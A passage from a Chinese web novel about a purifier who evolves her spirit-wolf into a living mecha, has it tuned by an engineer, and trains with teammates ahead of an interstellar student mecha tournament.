赵宴月闻言，熊熊燃烧的怒火一下子熄灭了，她眼中没有一丝愤怒，只剩对这个结果的不可置信。 “你有没有搞错！我的人生有这么失败？” 刚花了不少能量的撒因有点心虚又有点理直气壮，机械音里透露的语气比赵宴月还不可置信。 【你有没有搞错！你现在兜里只有22333星币，这难道很成功吗】 【想把我的能量条填满很难的，要是你现在向全世界宣布你是S级净化师，大概也只能涨到70%】 才70%……那话又说回来了，赵宴月忽然觉得赵董事长当了这么多年的鳏夫，现在又孤家寡人的，再婚再育也不是不行。 说不定有妻有子后，他的脑子也能恢复正常。 要把撒因能量条攒满山高路远，目前看来难如登天。 赵宴月遇到困难原地躺下，立马把她爹抛到了脑后，一心一意听起课来。 【诶？你不生气吗？】 见赵宴月堪堪愤怒了三秒就没反应了，撒因迷茫地发问。 不应该啊。 以它对赵宴月性格的了解，她向来觉得全世界都应该围着她转，怎么会忍得了这种家庭变故。 在撒因的预想中，赵宴月听完应该会愤怒到直接向外宣布自己是S级净化师，在三垣星系扔下一颗响雷后拍拍屁股回到地球，再一巴掌扇到赵董事长的脸上…… “我干嘛要贷款生气。”赵宴月匪夷所思地疑惑道：“你都说了去了就回不来了，我回到地球就要头疼一辈子，回去干什么？” 【……】 看着已经重新低下头做笔记的赵宴月，撒因觉得自己对“以自我为中心”这句话的了解还是太浅薄了。 宿主真是苦了谁也不苦了她自己，理智得惊人也无情得惊人，一旦触及到自己的利益，她从来不会被情绪冲昏头脑。 松教授站在讲台上，用指读棒点着空中的全息冰蓝色花朵细细讲解：“寒冰莲，生长在火灵秘境、微火秘境，性寒、味甘，它的莲蕊通常作为冰属性灵兽的进化材料，在调配进化药剂时可以尝试与冰凌草、寒玉芝、雪藤等灵植进行实验，和火云花、炎阳草属性相克，调配出来的进化药剂有轻微毒性。” “但在两个月前发布的幼火犬新进化链中，寒冰莲蕊和赤练草调制出了让幼火犬成功进化的新药剂。” “所以在探寻灵兽进化链的过程中可以适当尝试创新，当然这种创新失败的概率很高，建议大家学习的初期还是先按部就班地打好基础。” 赵宴月翻着比新华字典还厚的《灵植基础》，指尖抚过书页上密密麻麻的文字，思索片刻后便一点点记了起来。 如果S级净化师还不够成功，一本《进化图鉴》总能填满撒因的能量条。 好歹是她亲爹，赵董事长愿不愿意来三垣星系另说，至少先奋斗出一个让他选择的机会。 如果赵董事长不来，那他就算在地球上再生十三四五六七八个孩子，也和自己八竿子打不着，实在没有为此生气的必要。 一想到进化图鉴，赵宴月便想起了宋幼安的善鳄龟。 都在兰柏林的军事学院，她偶尔和宋幼安也会约着去食堂吃饭。 宋幼安倒是不算太着急，毕竟将灵兽孵育中心开满三垣星系才是他的人生目标，善鳄龟的进化链也不是一时半会儿就能研究出来的。 当机甲尖兵只是说是他人生目标之外的爱好，能开上机甲最好，开不上也不会有过多遗憾。 他是想开了，但是善鳄龟的进化链赵宴月不得不操心了。 埋头苦学的日子过了几天，脑子因为充满了知识变得有些沉重。 这天赵宴月刚拖着□□练过的身体回到宿舍，便感应到小五突破到了14阶。 她顿时精神一振，进了卧室便将小五叫了出来。 银白色的巨狼抖动着蓬松的大尾巴出现在房间里，一双碧莹莹的眼睛里神色沉稳了许多，只不过眼神一触及到赵宴月便柔软了起来。 它亲昵地垂下脑袋，用冰凉的鼻尖蹭了蹭赵宴月撒娇：“嗷呜。” 灵兽向来更喜欢待在精神海里，那里广阔而盈满了精神力，对灵兽来说是比人类世界舒适得多的地方。 小五小时候还爱跟在赵宴月屁股后面跑，自从进化后也不怎么爱出来了。 赵宴月伸手摸了摸小五的头，柔顺的毛发如丝绸般顺滑地从指缝穿过，摸起来手感相当舒服。 “小五。” “嗷呜！” “期不期待自己终极态的模样？” 一听到这话，小五毛茸茸的耳朵立马竖了起来，眼眸中也闪过一丝紧张：“嗷呜嗷呜。” “什么叫担心自己长得不好看？我们老赵家就没有长得丑的！再说了哪有小时候长得好看大了就变丑的。” 小五看着赵宴月不知道从哪里摸出一个锅架了起来，下一秒它便紧张中还不忘贴心地帮主人点起了火。 黑红色的火焰凭空出现在锅底，不大不小刚刚好，把控得十分精准。 赵宴月夸道：“太棒了小五，省的劈柴了。” “嗷呜！” 跳动的火苗将一狼一人一大一小的影子投在墙上，微微摇晃，忽明忽暗。 墙上的影子像是个深夜熬药的邪恶女巫，低声念叨着将一样样灵植丢入锅里：“龙腥草，冰雾藤，5ml火焱树液……” 随着一个个名字消失在嘴边，药剂的颜色也越来越诡异，最终变成了一碗紫色的带着点金属质感的液体。 即便锅里的药剂比之前喝过的进化药剂看着还要诡异，但小五这次已经有了经验，听到赵宴月一声令下说“小五喝药了”时，没有再以为主人要毒死自己。 它端庄地蹲坐在地上，身后的大尾巴一摇一摆，等赵宴月拿着碗凑近嘴边时，屏住呼吸一口气咕噜咕噜全喝了。 药剂一喝完，黑红色的火焰便瞬间从它身上迸发而出吞噬了整个身躯，小五像是被点燃般被熊熊的火焰笼罩。 火光将本就明亮的卧室渲染成黑红色，赵宴月拿出一枚晶莹剔透，看着比宝石还要宝石的晶源走进了火里。 一人一狼在火焰中相对而立，赵宴月说了声“张嘴”便抬起手将S级晶源送入了巨狼的嘴里。 晶源的外壳被利齿咬破，发出清脆的碎裂声。 磅礴而精粹的能量顿时涌入身体，小五的轮廓逐渐模糊，最后像是化了一般彻底融入火焰中，消失在了赵宴月的眼前。 赵宴月早就仔细了解过灵兽进化到终极态的过程，知道这种情况是正常流程，没有太过担心。 不知过了多久，当最后一缕火焰熄灭时，一具流线型银白色机甲静静矗立在原地。 整具机身都泛着珍珠般的光泽，后颈处有一个黑红色的火焰标识，如同活物般微微闪动。 不愧是她一眼相中的心动嘉宾。 这流光溢彩的银白色可不是机甲美容的喷漆能喷出来的，好看到都不需要去做机甲美容。 赵宴月立马将幼火犬完整进化链提交到知识产权管理局进行认证，但并没有发表出来对外公布去挣知识产权费。 星币于她如浮云，先过一阵子只有秘藏灵兽才能有的——“全星际唯一限量款”的瘾再说。 机甲没有架构引力丝暂时还启动不了，但赵宴月已经迫不及待先坐进驾驶舱感受了一下。 一坐进驾驶舱，赵宴月便感觉自己和小五的精神连接了起来，整具机甲仿佛变成了她身体的延伸，有种和契约灵兽彻底契合在一起的、十分奇妙的精神共鸣感。 脑海中传来小五雀跃又依恋的情绪，它明显很喜欢这种感觉，甚至难得主动地提出让赵宴月在驾驶舱里睡觉。 在驾驶舱睡觉肯定没有在床上睡觉舒服，但赵宴月没有拒绝小五的邀请。 不知道是不是因为契约的关系，窝在小五的驾驶舱给人一种封闭又安全的感觉，睡觉姿势虽然不算舒适但精神上很放松。 给封嘉荣发了个信息后，赵宴月打了个哈欠便窝在驾驶座里睡了过去。 第二天上完课后，赵宴月便打算去108酒馆，她和封嘉荣约好在地下的加装工作间见面。 离新星杯开赛只剩一周，新星杯的组队将在今晚八点截止，同时新星杯也会在这个时间点正式开盘。 各个参赛队伍的信息会在八点之后全数向公众公开，观众们可以为自己看好的能闯进前一百名的队伍进行投注，为这场盛大的赛事做预热。 第62章 108酒馆的地下永远沉浸在不知白天黑夜的热闹和混沌中。 赵宴月穿过一阵阵或欢呼或咒骂唏嘘的声浪, 拐进了通往机甲加装工作区的狭窄通道。 光线骤然暗了下来，天花板上错综复杂的管道投下斑驳的阴影，外界喧嚣的嘈杂声也被过滤成模糊的背景音。 封嘉荣已经在工作间里等着了, 他此时正端详着在工作间里安静矗立的一排机甲——这些都是赵宴月顾客的机甲, 等着做加装。 自从雷康打断了许白亦的67连胜一战成名后，来找赵宴月做加装的选手就越来越多了, 她更是直接成为了地下黑赛的知名加装师。 “你说五点到，迟到了三分二十八秒。”封嘉荣回过头，丧丧地陈述。 赵宴月正在屏幕上打卡上班, 闻言直接乱扣黑锅顺便转移话题：“那肯定是你的表走快了，你之前给贺如故架构的机甲他适应得怎么样？” “你可能不知道, 他竟然是净化师！”这个身上总是充满了社畜气息的男人语气难得有了点波动，甚至还带着点后怕。 “太恐怖了，我竟然让一名殿下参与机甲对战, 这要是磕着碰着了我大概得以死谢罪。” “……那种水平的机甲对战顶多就是摔两跤的事吧？” “不一样。” “好吧。” 赵宴月没有和他继续掰扯哪里不一样, 她一点也不浪费时间，直接去精神海将正追着一只普通花豹跑的小五叫了出来。 小五脱离机甲态的时候仍旧是进化态的模样, 机甲战宠并不像其他非机甲战宠的灵兽一样，到了终极态会再次进化。 银白色的机甲化作流光出现, 封嘉荣视线一凝, 原本还活人微死的神态瞬间有了变化。 “这是什么灵兽的机甲态？竟然有我没见过的构型。” 他耷拉着的头发似乎都支棱了起来, 兴致盎然地围着机甲打量了一会儿：“轮廓不轻盈也不厚重, 应该是中型机甲？” 接受到封嘉荣询问的目光, 赵宴月闻言摇了摇头表示自己也不知道，但以封嘉荣的经验来看，他的推测应该没有问题。 “这是踏焰天狼的生物机甲，是轻型重型还是中型得架构好引力丝才能知道。” “踏焰天狼……怎么没听说过。”封嘉荣低声念叨了一会儿突然灵光乍现, 眼睛里顿时亮起异样的亮光：“你契约的是秘藏灵兽？” 看来没有公布完整进化链的灵兽确实都不算太为人熟知。 即便曾经因为幼火犬全新进化链的噱头上过天市星星域的热搜，但因为没有完整进化链很快也就被人淡忘了。 更被说封嘉荣作为紫微星的人，和天市星不通网，没听过实在是再正常不过。 赵宴月坐在工作桌边，聚精会神地给各种各样的诡异武器架构引力丝，头也不回道：“幼火犬知道吗，它的另一条进化链叫天火狼进化链，这就是天火狼进化链的最终成果。” 每一种灵兽的完整进化链公布出来都会引起热烈讨论，更别说是机甲战宠的完整进化链。 现在甚至还要加上“幼火犬的全新进化链可以让它成为机甲战宠”这种震撼buff，星网上竟然没有一点消息。 “还没有对外公布吗，这一条进化链足够让你吃穿不愁走上人生巅峰，这辈子算是有了。” 封嘉荣说着走上人生巅峰，声音却没有什么波澜，明显对进化链不是很感兴趣。 比起灵兽进化链，他对“新款机甲的引力丝架构方法”感兴趣得多。 “不着急。” 赵宴月伸了个懒腰，暂时放下了手里的活，转过身围观起封嘉荣的操作。 封嘉荣正低头将建模感应器里的具体数据记录在了设计图上，见她在旁边看，便偶尔开口提几句设计和架构引力丝的知识点。 “轻中重型的机甲都是4-6m高，大致轮廓也都相差不差，即便重量上会有明显区别，但主干和次干脉络的架构还是那一套，只需要根据机甲的不同做出细微的调整，毕竟主干脉络和次干脉络的架构是最简单的，只要经验到位可以直接上手架构。” 说到这，为了防止某些误会，他想了想又特意补充道：“当然前提是不是你这种全新的新款机甲，新机甲直接上手叫敷衍了事，细微的调整也是调整，差之毫厘失之千里，所以我才没直接上手。” “喔。” “……” 等封嘉荣起身去给小五架构引力丝时，围观了他设计全过程的赵宴月扭了扭酸痛的脖子，顺手登上了爱心互助论坛挂链接。 裘花花：本店上新D级净化晶源2000颗，售价4000星币一颗，晚上八点准时开售！新款上市，火爆热卖，激情热购，等你来买！ “发粮了发粮了！” “诶？是店主写错了还是我看错了，竟然是D级晶源！有种路边摊突然变成漂亮饭的感觉。” “店主改行从资本家便成慈善家了吗，你以前卖无品级净化晶源可是翻10倍出售的，现在竟然才翻4倍……” “楼上我看你是被店主PUA得脑子发昏了，店主到底哪里慈善家了，顶多叫不黑心了。” “D级晶源够我家灵兽一周的消耗了，拜托了一定要让我抢到啊！” “店主让殿下们不累的时候就多净化一点吧，累了的话也可以净化几个晶源放松一下。” “今晚八点新星赛也开盘了，我要忙不过来了。” “玻娅区这两个月清扫邪教的动静很大，难道是在为迎接参与新星杯的殿下做准备？” “如果是这个原因的话，那是不是代表着新星杯的赛区就在玻娅区里面？不然殿下们应该不会来玻娅区。” “可以了，过来试试。”封嘉荣的声音从机甲身后传来，赵宴月当即关了光脑。 机甲的主干和次干脉络都已经架构好，赵宴月像是操控模型机一样，放出精神力从外面操控着小五蹲下，好让她进去驾驶舱。 封嘉荣先疑惑了一会儿，然后有些不可置信道：“谁教你这么进机甲驾驶舱的？” 驾驶舱的门平滑而安静地移开，赵宴月已经半个身子探进了驾驶舱。 她闻言转过头，手指无意识地敲击着舱门，不觉得自己的操作哪里有问题：“哪里不对吗？” 驾驶舱在机甲胸口的位置，昨天为了进驾驶舱，她还是踩在椅子上爬进去的，构架了引力丝之后真是方便多了。 “机甲实操的第一课就教收放机甲，你没学过吗？” “机甲实操是大二的课。” 两人相对着沉默了片刻，封嘉荣欲言又止，最后说道：“算了，挺优雅的，你先进去试试看。” 精神力一接上机甲，就好像启动了电源般，驾驶舱里瞬间亮了起来。 银白色的机甲动了动站直身体，像婴儿学步般往前迈了两步，还算稳当。 赵宴月透过屏幕看见下方的封嘉荣张了张嘴，他的声音便从驾驶舱里的传讯器里传了出来：“不要怕摔，做套测试动作。” 只有主干脉络和次干脉络的机甲关节都还不怎么灵活，对赵宴月来说并不难操控，甚至可以说十分简单。 她对照着《机甲性能测试（主干篇）》的教学视频做了一套僵硬的广播体操，每一个动作都标准得像是用量角器比划过。 封嘉荣眼中闪过一丝满意——不是对赵宴月操作的满意，全是对自己架构技术的欣赏。 看着还沉迷在做广播体操里的机甲，封嘉荣手指往外一指，让赵宴月去地下随便选一个自由对战区当擂主。 “啊？” 银白色的机甲动作戛然而止，它抬起手臂用暂时还动不了的手指指了指自己，传出来的声音带着点轻微电流感：“我吗？我赢不了吧？” “你当然赢不了。”封嘉荣十分无情地肯定了这句话，“没让你赢，挨打就行。” 赵宴月知道分支脉络和细分脉络的架构需要根据契约者的战斗习惯量身定制，但是这个对战斗习惯的摸索方法未免也太邪教了一点。 “有没有什么更体面的方式？” “有。”封嘉荣顿了顿，然后才继续道：“不过更体面的方式做不到七天之内架构完成，你要选择更体面的方式吗？” “……” 地下黑赛的对战区有不少自由对站台，算是一个切磋用的训练场地，基本没什么观众会看。 但挨打这种事还是太不体面了，赵宴月特意选了个没什么人的对战区站上了擂台。 封嘉荣坐在观众席的第一排，对她的行为锐评道：“你目前的水平在哪都没人在意，还有，打架的时候不要动用天赋技能。” “好的阿sir！” 一有机甲站上自由对站台，立马就有选手上台进行挑战——然后就发现这个外观好看的机甲纯属金玉其外败絮其中。 地下黑赛的选手都身经百战，就没有一个吃素的，更被说对手是个连机甲的引力丝都只架构了一半的萌新，干翻对面也就两三招的事。 来挑战的选手来了一个又一个，赵宴月被砸进地里的姿势也一次比一次不同，巨大的金属碰撞声在防护罩里回荡。 虽然打是打不过，但是能撑过的回合越来越多，尤其从地上爬起来的速度更是越来越快。 可能是靠顽强的意志感动了观众，赵宴月听到观众席传来了稀稀拉拉的加油声。 ……她觉得这个时候的加油声只会显得她更加凄惨。 赵宴月现在只感觉自己的身体就像是被仿佛捶打的牛肉丸，表面毫发无伤，但是痛感却断断续续又结结实实传进了大脑。 因为机甲是用精神力操控，程度不重的损伤没有知觉，但一旦机甲受到重大损伤，痛感会通过精神力一定程度反馈到契约者的身上。 化身机甲态的小五是感受不到的，但赵宴月的脑海里依旧传来小五担忧的嗷呜声。 赵宴月躺在地上安抚了它一会儿，然后又拍拍屁股操控着机甲爬了起来。 坐在观众席上的封嘉荣不为所动，直到收集到足够的影像资料后，他才将录像关掉，仁慈地宣布赵宴月可以脱离苦海了。 赵宴月像是被赦免了一般收起机甲下了擂台，被捶打几十遍后脸色都苍白了好几个度。 封嘉荣当做没看见，他一心一意想着架构引力丝的事，语气丧丧地公事公办：“等架构好分支脉络后你再来对站台和选手切磋，方便进行最后的细分脉络架构。” “新星杯开赛前能架构好吗？” 赵宴月用卫衣的兜帽盖住大半张脸，隔绝了观众们好奇投来的视线——不用想，肯定在好奇到底是谁这么菜还敢上去当擂主。 她丢不起这个人。 “别人或许不行，但我可以。”封嘉荣平静地自卖自夸，“还能给你留出一两天时间适应。” 赵宴月对这种时候该说什么已经十分熟练，情绪价值拉满地配合道：“不愧是封大工程师！简直就是天才中的天才，大师中的大师！” “浮夸。”封嘉荣锐评一番，但嘴角向上了5个像素点。 悬浮车的窗外，霓虹灯带在夜色中划出流动的光痕，赵宴月瘫在单人真皮座椅上，指尖划过光脑屏幕。 蓝光在她脸上投下变幻的阴影，想到现在都九点多了，她便登上了许久没登的星博。 热搜果然全都被新星杯占据，新星杯赛事主办方在八点准时发布了好几条新动态，公布了本届新星杯的相关信息。 “202届新星杯将于10月10日正式开赛！本届新星杯赛区为玻娅区死灵秘境！选手名单已正式出炉！ 202届新星杯报名14879人，符合参赛条件并成功组队的选手人数为13668人，共计4556支队伍角逐前一百名，点击查看详细信息！ 以我之名，燃贯星际！属于机甲的对决即将正式上演！观众朋友们记得关注新星杯赛事直播间，为你支持的队伍加油打CALL！” 这条动态下，网友的实时讨论飞快刷屏。 “好多S级契约者……都是大三大四的学生，大一大二的学生有S级精神海也基本停留在A级，可以直接睡了。” “怎么是死灵秘境！那个秘境阴森恐怖得很，里面的灵兽全是骷髅骨架，你敢播我都不敢看……” “哪里恐怖了！骷髅哪里恐怖了！我家森灵可爱得一看见它连旁边死了个人我都不知道[附森灵歪头美照jpg.]” “照这么说死灵秘境再过几天就不对外开放了，有什么灵植要进去摘的友友们记得抓紧时间。” “还好虫族没办法通过秘境大门出来，不敢想它们通过秘境来到玻娅区有多恐怖……不过它们到底是怎么进出秘境的也是个问题。” “找到许白亦了，救命！老大你的两个队友都看起来不太妙啊！” “垃圾女王许久不见你家小五怎么才15阶，刚刚摸到终极态的边……等等，你哪来的机甲参加新星杯？！” “三个S级契约者组队我还稍微担心一下，一看到我家华妩的队伍是两个S级加一个B级契约者就知道这把稳了。” “这届参与新星杯的五位殿下由圣芙尔净化学院的段院长亲自带队诶！许清雪殿下和贺如故殿下都来了！” “解说阵容也很豪华，好高的军衔啊……” “能不能来个人打晕我让我直接穿越到七天后，不敢想一边看新星杯一边吃饭有多幸福。” 赵宴月看到这，刚想点进自己已经长草的星博看看，一个黑影却突然笼罩了过来。 她从光脑里抬起头，发现易秋不知何时靠近过来，站到了她的座椅边。 女生高挑的身形遮挡住了悬浮车顶部的灯光，一双黑漆漆的眼睛耷拉着半边眼皮，正安静地盯着她。 赵宴月被她吓了一跳，差点想往她脸上撒把糯米：“你干什么？不声不响的。” “饿。”易秋说话的声音像是卡了带的磁带，一字一顿又慢吞吞的：　“有点饿。” 赵宴月：“……饿了就去吃饭。” 这已经不是糯米能解决的了，来个人把她的桃木剑拿来。 易秋还是没有动作，赵宴月沉默片刻，将自己在地下黑赛员工食堂里买的奶茶递了过去，心痛道：“给你喝行了吧，拐弯抹角的。” 递过去的奶茶半天没有人接，赵宴月重新从光脑上移开视线看过去，发现易秋的目光停留在奶茶的吸管上。 真是岂有此理。 赵宴月忍了忍，面露不爽：“我只是插上了吸管，一口没喝，你还嫌弃上了。” 整个车厢里都弥漫着净化因子的甜美香气，就算赵宴月根本没有使用精神力，浓郁的净化因子也从她身上逸散了出来。 发丝上、肌肤上、衣服上、甚至呼出的空气中……要是能将触角探进她的精神海…… 想把她关起来当储备粮的欲望达到顶峰。 易秋垂下眸，挡住已经收缩成针尖大小的瞳孔。 她伸手接过奶茶，右手食指似乎无意地摩挲了一下赵宴月手腕里侧的脉搏，冰凉到刺骨的指尖让赵宴月一个激灵。 不等赵宴月多想，易秋已经举起奶茶含住了吸管，面无表情地发出清晰而迫切的吞咽声。 赵宴月眼睁睁看着奶茶的水位三五秒就降到了底，大开眼界道：“……慢点喝，我又不和你抢。” 易秋说停就停，似乎并不觉得有多好喝，她松开被牙齿磨到变形的吸管，退后几步重新坐了回去。 赵宴月又看了她几眼，左看右看也没看出有哪里不对劲，倒是光脑上突然弹出一个通讯请求，拉回了她的注意力。 第63章 斯伦军校机甲训练馆里的训练室这段时间都爆满了, 金属碰撞声和能量嗡鸣声此起彼伏，全是新星杯的参赛小队在里面进行训练。 “停停停，休息一会儿。” 黑白经典配色的机甲从对站台上翻了下来, 江茂茂打开驾驶舱纵身一跃。 落地姿势很帅, 但只有他自己知道自己的脚后跟被震得有点发麻。 从机甲驾驶舱跳下来和从一楼跳下去没有区别，还好军事学院天天搞训练, 本就经过强化的身体变得更加强壮不少，跳楼也不在话下。 “怎么又要休息。” 江茂茂额前的碎发被汗水浸湿，像一滩烂泥似的瘫在了椅子上喘着气道：“许老师, 有没有可能这么久下来，我的精神海已经空了。” “不好意思, 忘了这回事了。” “唉，我真是和你们S级精神海说不清楚。” 许白亦：“……” 原本在知道赵宴月找的队友只是C级精神海，甚至机甲都是人工打造的机甲后, 许白亦有一瞬间确实对自己的队伍产生了一丝迷茫。 ——甚至有些后悔当时夸下海口, 让赵宴月随便找队友，毕竟在许白亦的计划里, 这个随便找的队友好歹也得是个B级。 不过和江茂茂一起训练了几天，许白亦便发现江茂茂机甲作战的经验十分丰富, 唯一的短板只是精神海等级不够。 再一想到江茂茂契约灵兽的天赋技能, 许白亦甚至还想感叹赵宴月怎么这么会找队友。 见江茂茂已经没法继续训练了, 许白亦收起机甲, 顺手整理了一下有些凌乱的领口, 走到江茂茂旁边的座位上坐下。 “赵宴月呢，她怎么一直不来训练，嫌来斯伦麻烦的话，我也可以去你们兰柏林的训练室。” 江茂茂疑惑道：“她的机甲还没架构好呢。” 坐在旁边的男生拧瓶盖的动作一顿, 他手指摩挲着能量饮料的瓶身，重复了一遍道：“机甲还没架构好是什么意思？” 江茂茂意识到了什么，无辜地眨了眨琥珀色的眼睛：“字面意思。” 坏了。 他就说许白亦怎么会和赵宴月组队，不会是被她骗来的吧。 “我没记错的话，她是S级精神海？”许白亦无意识地敲击着座椅上的把手：“我以为S级精神海起码也该是A级契约者。” “S级精神海怎么了，这又不耽误她升级慢。” 训练室里的冷气呼呼地吹，许白亦心也跟着凉了几分。 在发现江茂茂真不是在和他开玩笑后，他终于意识到自己这个队伍的前路一片漆黑。 他当时见赵宴月是拥有S级精神海的机甲工程师，恰好还没有组队，还以为找到了自己的天命队友。 ——甚至想着有她组队，就是二拖一也足够闯进前一百名。 结果她竟连机甲都没架构完成，可能会不会开机甲都是个问题。 “你看你，但凡再多问一句呢，草率了哈许老师。” 仗着队伍已经组好了，江茂茂笑眯眯道。 天上果然不会掉馅饼。 许白亦闭上眼揉了揉太阳穴，但一想到赵宴月的定位是工程师又释怀了，调理的速度十分快。 技术人员是这样的，她都会机甲加装了还要什么自行车。 宝贵的工程师只要能成功参赛就行了，等武装好机甲后积分的事自然有他赚。 大不了他烂命一条就是干。 训练室的门在此时被人推开，一直见不到踪影的人终于舍得露面了。 人果然不能念叨。 感受到室内诡异的氛围，赵宴月立马警惕起来，狐疑道：“是不是在背后说我坏话？” 江茂茂一看见她便拍了拍自己身边的座位，邀请道：“坐。” “先别坐了。”许白亦站起身，迈着不慌不忙的步伐走到赵宴月跟前：“来战。” 赵宴月来训练室就是想试试自己崭新出炉的机甲，在新星杯开赛前的倒数第二天，小五终于被架构完成了。 许白亦的对战邀请正合她意。 她直接站上对站台，一句废话不多说地朝许白亦勾了勾手：“来。” 银白色的机甲和白紫色的机甲被召唤出来的同时，原本还相对而立的两个人也消失在原地。 赵宴月坐进驾驶舱，精神力一连接上机甲，银白机甲后颈上的火焰标识顿时亮了起来。 驾驶舱的全息投影骤然亮起，两具机甲都没有什么前戏，一站上对站台便瞬间向对方靠近，金属足底在地面上刮擦出刺耳声响。 许白亦的速度很快，出手也是毫不留情，即便他的机甲此时并没有装备武器，一招一式也能感受到强烈的压迫感。 赵宴月这段时间没少在地下黑赛的自由对站台上挨打，战斗水平高不高另说，格挡和闪避的技巧反正是拉满了。 即便如此，在许白亦堪称迅猛的攻击下，她才刚刚避过一个直拳，下一瞬就被白紫机甲一个膝撞狠狠顶在了腹部。 重型机甲强悍的力道直接让银白机甲往后滑退了好几米，机甲的金属外壳撞在墙壁上迸溅出火星。 许白亦的声音通过机甲里的通讯器传来：“动作太慢了。” “注意好了。” 话音一落，白紫机甲再次如同残影般接近。 在紫电划破空气的尖啸声中，赵宴月迅速侧过身躲避，结果还是被一拳击中了左臂上的肩甲。 身后的白色的金属墙面直接凹进去一大块，甚至裂出了蛛网状的细碎裂痕。 坐在驾驶舱里赵宴月脸色一白，眼神也变得阴恻恻了起来：“小五！” “嗷呜！” 一个眨眼的功夫，训练室的光线便暗了下来，室温瞬间升高。 数以百计的黑红色烈焰流星仿佛撕裂了穹顶，带着黑云压城之势从空中呼啸着砸下，拖曳着长长的尾焰席卷了整间训练室。 一颗颗黑红色的巨大火球在接触到地面的瞬间像地雷般炸开，黑红的火浪彻底吞没了所有视线。 一片轰鸣声中，江茂茂不得不抬起手臂遮挡扑面而来的热浪，防护罩里仿佛变成了一片熔岩地狱。 “哇哦……要是赵炸弹能管管队友死活就更好了。” 还好有防护罩，不然他又不能从精神海里召唤机甲，真是跑都来不及跑。 刚这么想着，防护罩在火海中明灭不定，最终像是脆弱的玻璃般出现了裂痕。 安全警报尖锐的声音疯狂拉响。 江茂茂：“……” 黑红色的火海熄灭之时，金属地面和墙壁仿佛化成了沸腾的金属沼泽，白紫色的机甲单膝跪地，一手撑在地上，身上有了焦痕。 许白亦收起机甲，被火球砸中的地方到处隐隐作痛，他在热浪中咳了几声：“……打不过就放大？” 赵宴月蹲在地上捂着幻疼的腹部和左肩，咬牙道：“你有本事你也放。” 已经打了一天的许白亦沉默地把她拉起来：“真是和你们这种精神力多的说不清楚。” 维修机器人姗姗来迟地赶到，往里面看了一眼发出一声人性化的叹息，见怪不怪道：“换间训练室打哈同学们，这间训练室挂维修。” “真是的，早就说了让校长换质量好点的防护罩，没一个罩能撑过一个月的。” 三人换了间训练室，换了场地后也没急着对练，纷纷像条被晒干的咸鱼一样在休息椅上葛优躺。 许白亦躺着躺着突然笑了起来，然后又嘶了一声道：“身上好疼，像是被炮轰了。” 赵宴月心虚但理直气壮：“对敌人的仁慈就是对自己的残忍。” 江茂茂：“不是，身上疼你笑什么，怪瘆人的。” 许白亦坐起来给自己灌了几口水：“没什么，只是觉得我们这个队伍好像还有救。” 江茂茂：“……” 好了，作为混在两个S级精神海里面的C级，现在心虚的换成他了。 许白亦又恢复了坐得笔直的模样，说起了正事：“对了，机甲间的通讯有延迟又不方便，要建个精神通讯网吗？” 建立通讯网按理来讲是指挥的活，需要连接其他人的精神海——只有三个人的通讯网顶多叫群聊。 赵宴月对这个活还算熟悉，当即道：“我当群主。” 许白亦没有异议地点了点头：“那你试试看能不能进我的精神海。” 赵宴月看看左边又看看右边，保险起见还是强调了一遍注意事项：“都别反抗，不然我强行闯进去你们小心变成傻子。” “知道了——赵老师。”江茂茂瘫在座位上拉长声音回道。 许白亦：“我不反抗，如果你进得来的话。” 赵宴月调出精神力先冲进了江茂茂的精神海，精神海屏障一被触动就被赵宴月一巴掌扇了回去。 许白亦的精神海屏障确实难缠得很，不过赵宴月已经净化了不少S级机甲尖兵，她的精神力早就身经百战，拥有丰富的战斗经验。 换句话说，就是对这种非法入室的行为早已驾轻就熟。 两个人的精神海都干净得很，赵宴月只分出了一丝精神力连接了两人的精神海。 ‘喂喂喂？’ 江茂茂举手道：“听得到。” 许白亦：“1。” 通讯网络只能群主对群员发起通话，群员没办法反馈，但信息传递的效率会高出很多。 群主想要和群员共享信息只需要一个念头，省去了先用嘴巴说出来，然后群员再用自己的大脑理解这两个步骤。 许白亦见赵宴月真的能进自己的精神海有些讶异，他干脆也连接了江茂茂的精神海。 江茂茂：“……” 江茂茂：“一个只有我被禁言的群聊建成了。” “错误的。”赵宴月纠正道：“你不是还有嘴吗。” “也对。” 趁着中场休息，许白亦摸出三根营养剂一人发了一根：“补充能量，吃完继续。” 赵宴月将盖在脸上的《灵植大全》拿了下来，看见营养剂就想叹气。 没滋没味的，吃完感觉活着都没意思。 江茂茂一边吸着营养剂一边扒拉着光脑屏幕道：“奇怪，我们队的赔率怎么这么低，这么多人看好我们队吗？难道是我家里人押我了……” 许白亦没怎么关注赔率的事，闻言也有些诧异。 他的契约灵兽前天刚升到19阶，刚刚跨过S级契约者的门槛，就算有秘藏灵兽当排面，他们这个队伍看起来也不像是强力队伍。 赵宴月倒是想到了什么，她登上光脑一看，发现自己有一条被@的消息，点进去便跳转到了贺如故的星博里。 贺如故：@赵宴月新星杯加油！本殿下看好你！ PS：教唆我爷爷给你押了500w星币，就当我给你交的朋友费，不客气[墨镜][墨镜][墨镜] 除了贺如故外，在禁区净化过的S级机甲尖兵们也都关注了她的星博，纷纷发来私聊表示自己花了亿点点星币支持她。 祁燃：听说殿下要参加新星杯，这一届新星杯的安保组的实力都提升了好几个档次。 赵宴月：我开机甲的水平其实还行。 祁燃：是吗，一想到可能会看到殿下直面虫族的场面，我都要吓晕了[可怜][可怜][可怜] 赵宴月：鉴定为对净化师的刻板印象。 祁燃：真的要进秘境吗[可怜][可怜][可怜] 赵宴月：你老实说，是不是联邦派你来当说客来了。 祁燃：…… 祁燃：光脑没电了，不说了先挂了。 赵宴月就知道。 在新星杯参赛信息公布后，天市星的执政官就打来了通讯，试图让她回心转意，不要参加这种危险活动。 这话听了真是让人鬼火直冒，她当即和执政官你来我往地对线了十八个回合，把旁边的易秋都听沉默了。 想到易秋，赵宴月喝营养剂的动作稍微顿了顿。 易秋最近要说有多不对劲那也没有，只不过联系到她和纯生教有过接触不得不多想。 闻星洲表示这件事他会立刻处理，但是被赵宴月制止了，没有让侍卫官轻举妄动。 如果易秋没有被寄生，一切只是她多疑了，那自然再好不过。 如果易秋真的被寄生了，想要抓住寄生虫族简单，但是一旦打草惊蛇，背后操控的虫族极大概率会控制寄生虫族直接杀死易秋。 反正她马上要进死灵秘境，多的是时间去处理这件事，完全可以徐徐图之，不必去赌这个鱼死网破的可能。 “休息好了没。”许白亦的声音拉回了赵宴月的思绪。 赵宴月将营养剂的空管扔进垃圾桶，重新站了起来：“来。” 看着防护罩里的两具机甲又打了起来，江茂茂坐在场外观战，顺便时不时给赵宴月出一些打架的阴招。 他的精神海已经干涸得像沙漠，没有精神力可以用来启动机甲了。 